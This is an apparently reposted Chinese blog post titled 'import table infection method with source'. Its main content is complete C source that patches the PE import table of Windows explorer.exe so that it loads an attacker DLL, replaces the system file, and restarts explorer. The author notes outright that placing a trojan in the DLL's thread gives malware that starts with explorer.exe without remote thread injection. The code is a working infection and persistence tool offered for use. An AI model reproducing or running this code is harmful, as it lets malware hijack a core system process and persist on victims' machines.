感染导入表方法-附源码(转载)
在explorer.exe中添加了MyDLL.dll的一个导出函数MainFun,如果你想先看看效果可以先把附件下下来,把其中的MyDLL.dll放入环境变量path目录中,例如system32目录就可满足你的需要,然后运行InfectImport.exe,你会看到一个对话框“MainFun成功导入explorer.exe”,因为我在dll被加载时启动了一个线程,然后输出这句话,是不是有点小题大作了,呵呵,一点也没有小题大作,当把木马程序放入线程函数中就会成为一个不需要远程线程注入的随explorer.exe启动的木马了,是不是有点心动啊,呵呵,不过还是不要干非法勾当为好,技术交流就好。
以下为源代码,在vc++6.0中编译通过.
1 #include <windows.h> 2 #include <IMAGEHLP.H> 3 #include <stdio.h> 4 #pragma comment(lib,"IMAGEHLP.lib") 5 6 //用来计算对齐数据后的大小 7 int alig(int size,unsigned int align) 8 { 9 if(size%align!=0) 10 return (size/align+1)*align; 11 else 12 return size; 13 } 14 15 int main() 16 { 17 char WinPath[MAX_PATH]; 18 char FilePath[MAX_PATH]; 19 char NewPath[MAX_PATH]; 20 char TemPath[MAX_PATH]; 21 char LogPath[MAX_PATH]; 22 FILE* fp; 23 24 ::GetWindowsDirectory(WinPath,sizeof(WinPath)); //获取windows所在目录 25 ::memcpy(FilePath,WinPath,sizeof(WinPath)); 26 ::memcpy(NewPath,WinPath,sizeof(WinPath)); 27 ::memcpy(TemPath,WinPath,sizeof(WinPath)); 28 ::memcpy(LogPath,WinPath,sizeof(WinPath)); 29 30 ::strcat(FilePath,"\\explorer.exe"); //得到原文件路径 31 ::strcat(NewPath,"\\explorer1.exe"); //修改文件路径 32 ::strcat(TemPath,"\\temp.mainst"); //临时文件路径 33 ::strcat(LogPath,"\\log.dat"); //log文件路径,防止修改修改过的explorer.exe 34 35 //拷贝原始文件,为修改做准备 36 ::CopyFile(FilePath,NewPath,false); 37 ::CopyFile(FilePath,TemPath,false); 38 39 fp=::fopen(LogPath,"r"); 40 if(fp != NULL) 41 { 42 MessageBox(NULL,"explorer.exe已被修改过!","提示",MB_OK); 43 return 1; 44 } 45 46 //打开需要修改的文件 47 fp=::fopen(NewPath,"rb+"); 48 if(fp==NULL) 49 { 50 ::DeleteFile(NewPath); 51 ::DeleteFile(TemPath); 52 return 0; 53 } 54 55 //往explorer.exe中添加我们准备好的函数 56 LOADED_IMAGE img; 57 HANDLE hFile; 58 PUCHAR lpBaseAddr; 59 PIMAGE_NT_HEADERS lpPEhead; 60 PIMAGE_IMPORT_DESCRIPTOR lpImport,lpNewImport; 61 ULONG ImportSize,NewImportSize; 62 PIMAGE_SECTION_HEADER lpFirstSection; 63 //保存文件对齐值与区块对齐值 64 int SECTION_ALIG; 65 int FILE_ALIG; 66 int fre=0; 67 int i=0; 68 int nOldSectionNo; 69 DWORD NewSecRVA,NewOffset,ThunkRVA,ImportRVA; 70 IMAGE_SECTION_HEADER NewSection;//要添加的区块 71 IMAGE_NT_HEADERS NewNThead; 72 memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER)); 73 IMAGE_SECTION_HEADER LastSection; //再定义一个区块,来保存原文件最后一个区块的信息 74 75 //对以下使用的函数如果不太熟悉的,可以看看与PE文件相关的函数 76 if(MapAndLoad("temp.mainst",WinPath,&img,false,false)) //获得PE文件相关数据 77 { 78 hFile=img.hFile; 79 lpBaseAddr=img.MappedAddress; 80 lpPEhead=img.FileHeader; 81 lpImport=(PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData 82 83 (lpBaseAddr,FALSE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ImportSize); 84 ImportSize=lpPEhead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; 85 nOldSectionNo=lpPEhead->FileHeader.NumberOfSections; 86 SECTION_ALIG=lpPEhead->OptionalHeader.SectionAlignment; 87 FILE_ALIG=lpPEhead->OptionalHeader.FileAlignment; 88 lpFirstSection=img.Sections; 89 NewImportSize=ImportSize+sizeof(IMAGE_IMPORT_DESCRIPTOR); 90 //获取最后一个节 91 memcpy(&LastSection,(PIMAGE_SECTION_HEADER)((DWORD)img.Sections+sizeof(IMAGE_SECTION_HEADER)*(nOldSectionNo-1)),sizeof(IMAGE_SECTION_HEADER)); 92 //计算新节的RVA 93 NewSecRVA=LastSection.VirtualAddress+alig(LastSection.Misc.VirtualSize,SECTION_ALIG); 94 //计算新节的文件偏移 95 NewOffset=LastSection.PointerToRawData+alig(LastSection.SizeOfRawData,FILE_ALIG); 96 //写入DLL名 97 fseek(fp,NewOffset,SEEK_SET); 98 fre=sizeof("MyDLL.dll"); 99 ::fwrite("MyDLL.dll",sizeof("MyDLL.dll"),1,fp); 100 101 //准备IMAGE_IMPORT_BY_NAME结构 102 IMAGE_IMPORT_BY_NAME ImportFun; 103 ImportFun.Hint=0; 104 memcpy(ImportFun.Name,"MainFun",sizeof("MainFun")); 105 106 DWORD ThunkData[2]; 107 ThunkData[0]=NewSecRVA+fre; 108 ThunkData[1]=0; 109 110 //写入IMAGE_IMPORT_BY_NAME结构 111 fseek(fp,NewOffset+fre,SEEK_SET); 112 fre+=sizeof("MainFun")+sizeof(WORD); 113 ::fwrite(&ImportFun,sizeof("MainFun")+sizeof(WORD),1,fp); 114 115 fseek(fp,NewOffset+fre,SEEK_SET); 116 ThunkRVA=NewSecRVA+fre; 117 fre+=sizeof(DWORD)*2; 118 ::fwrite(ThunkData,sizeof(DWORD)*2,1,fp); 119 120 ImportRVA=NewSecRVA+fre; 121 //准备新导入表结构,用来写入新文件 122 lpNewImport=(PIMAGE_IMPORT_DESCRIPTOR)::malloc(NewImportSize); 123 memset(lpNewImport,0,NewImportSize); 124 memcpy(lpNewImport,lpImport,ImportSize); 125 126 //在导入表尾部组织一个新的导入项 127 while(1) 128 { 129 if(lpNewImport[i].OriginalFirstThunk == 0 && lpNewImport[i].TimeDateStamp == 0 && 130 lpNewImport[i].ForwarderChain == 0 && lpNewImport[i].Name == 0 && lpNewImport[i].FirstThunk == 0) 131 { 132 lpNewImport[i].Name=NewSecRVA; 133 lpNewImport[i].TimeDateStamp=0; 134 lpNewImport[i].ForwarderChain=0; 135 lpNewImport[i].FirstThunk=ThunkRVA; 136 lpNewImport[i].OriginalFirstThunk=ThunkRVA; 137 break; 138 } 139 else i++; 140 } 141 142 fseek(fp,NewOffset+fre,SEEK_SET); 143 fre += NewImportSize; 144 fwrite(lpNewImport,NewImportSize,1,fp); 145 ::free(lpNewImport); 146 147 //文件对齐 148 int num=alig(fre,FILE_ALIG)-fre; 149 for(i=0; i<num; i++) 150 fputc('\0',fp); 151 //添加名为.newsec的新节 152 strcpy((char*)NewSection.Name,".newsec"); 153 NewSection.VirtualAddress=NewSecRVA; 154 NewSection.PointerToRawData=NewOffset; 155 NewSection.Misc.VirtualSize=alig(fre,SECTION_ALIG); 156 NewSection.SizeOfRawData=alig(fre,FILE_ALIG); 157 NewSection.Characteristics=0xC0000040; 158 159 fseek(fp,((DWORD)lpFirstSection-(DWORD)lpBaseAddr)+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0); 160 161 //写入新的节表 162 fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,fp); 163 164 //更新第一块节表属性 165 //此处为我困惑的地方,为什么要把第一个节的属性设为0xE0000020 166 //这个结论我是从比较loadPE修改过的文件中得出的 167 //如果没有此处工作,修改后的文件无法正常运行 168 //希望高人能给我解答下 169 memcpy(&NewSection,lpFirstSection,sizeof(IMAGE_SECTION_HEADER)); 170 NewSection.Characteristics=0xE0000020; 171 fseek(fp,(DWORD)lpFirstSection-(DWORD)lpBaseAddr,SEEK_SET); 172 fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,fp); 173 174 memcpy(&NewNThead,lpPEhead,sizeof(IMAGE_NT_HEADERS)); 175 int nNewImageSize=lpPEhead->OptionalHeader.SizeOfImage+alig(fre,SECTION_ALIG); 176 NewNThead.OptionalHeader.SizeOfImage=nNewImageSize; 177 NewNThead.OptionalHeader.DataDirectory[11].Size=0; 178 NewNThead.OptionalHeader.DataDirectory[11].VirtualAddress=0; 179 NewNThead.OptionalHeader.DataDirectory[12].Size=0; 180 NewNThead.OptionalHeader.DataDirectory[12].VirtualAddress=0; 181 NewNThead.FileHeader.NumberOfSections=nOldSectionNo+1; 182 NewNThead.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=ImportRVA; 183 NewNThead.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size=NewImportSize; 184 fseek(fp,(DWORD)(lpPEhead)-(DWORD)lpBaseAddr,SEEK_SET); 185 186 //写入更新后的PE头 187 fwrite(&NewNThead,sizeof(IMAGE_NT_HEADERS),1,fp); 188 fclose(fp); 189 UnMapAndLoad(&img); 190 } 191 else 192 { 193 ::DeleteFile(NewPath); 194 ::DeleteFile(TemPath); 195 return 0; 196 } 197 198 //删除临时文件 199 ::DeleteFile(TemPath); 200 //干掉explorer.exe 201 ::rename(FilePath,TemPath); 202 //让我们修改过后的替换掉explorer.exe 203 ::rename(NewPath,FilePath); 204 205 //创建日志文件,以免重复修改 206 fp=::fopen(LogPath,"w"); 207 fclose(fp); 208 209 //重新运行explorer 210 ::system("taskkill /F /im explorer.exe"); 211 ::system("explorer.exe"); 212 return 1; 213 }
以上就是我辛辛苦苦探索的结果了,希望各位不要嫌弃,由于本人编码水平并不是太高,所以考虑不周之处在所难免,若有高人看出,希望不吝赐教。在实现上面功能的过程当中,我也产生了很多的困惑,到如今都还是不太明白,在代码的注释当中我就说了一处,为什么非得把第一节的属性更新为0xE0000020,若不这样做,程序就不能正常初始化,刚开始我就忽略了这个地方,导致郁闷了很久,后来与loadPE修改过的文件一比较,终于恍然大悟,改后果然顺利运行。还有一个疑惑是与vc++6.0的编译器相关的,编译出来的debug版本修改过的explorer.exe顺利运行,编译出来的release版本修改过的explorer.exe不能运行,pe工具查看发现节的数目不正确,这叫我又郁闷了好一阵,我怀疑是编译器的优化造成的,默认的优化方式是最快速度,我把它改为默认,重新编译源文件后,一切正常。在这点上我提醒各位看客,如果想尝试自己编译上面的代码,请修改优化方式为默认就可以了。好了,以上就是我的成果以及一些困惑,希望大家各取所需,同时在拿的时候也不要忘了想想我提的问题。